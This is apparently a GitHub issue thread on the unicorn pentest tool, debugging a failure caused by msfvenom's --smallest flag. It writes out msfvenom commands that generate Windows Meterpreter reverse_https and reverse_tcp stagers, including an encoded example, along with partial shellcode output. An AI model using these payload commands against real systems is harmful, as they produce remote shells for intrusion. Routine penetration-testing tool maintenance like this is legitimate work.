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jeffmcjunkin avatar jeffmcjunkin commented on July 27, 2024

Huh, confirmed. Underlying cause is --smallest flag:

# ./unicorn.py windows/meterpreter/reverse_https 127.0.0.1 443 | tail -n 7
                
[*] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode...
msfvenom -p windows/meterpreter/reverse_https LHOST=127.0.0.1 LPORT=443 -t 0 --smallest --platform windows -f c
[!] Critical: It does not appear that your shellcode is formatted properly. Shellcode should be in a 0x00,0x01 format or a Metasploit format.
[!] Example: msfvenom -p LHOST=192.168.5.5 LPORT=443 -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai -f c
[!] Also ensure your syntax for unicorn is correct. Missing IP address, port, etc. etc. will cause this error.
Exiting....

Looks like an upstream change, as even reverse_tcp stager is "too big":

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=443 -t 0 --smallest --platform windows -f c
[-] No arch selected, selecting arch: x86 from the payload
Error: The payload exceeds the specified space

Exact same invocation without --smallest works fine:

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=443 -t 0  --platform windows -f c
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of c file: 1512 bytes
unsigned char buf[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52"
[etc]

Separate PR incoming to remove that flag.

from unicorn.

jeffmcjunkin avatar jeffmcjunkin commented on July 27, 2024

(for context, I lightly edited unicorn.py to see the actual msfvenom invocation in that first output)

from unicorn.

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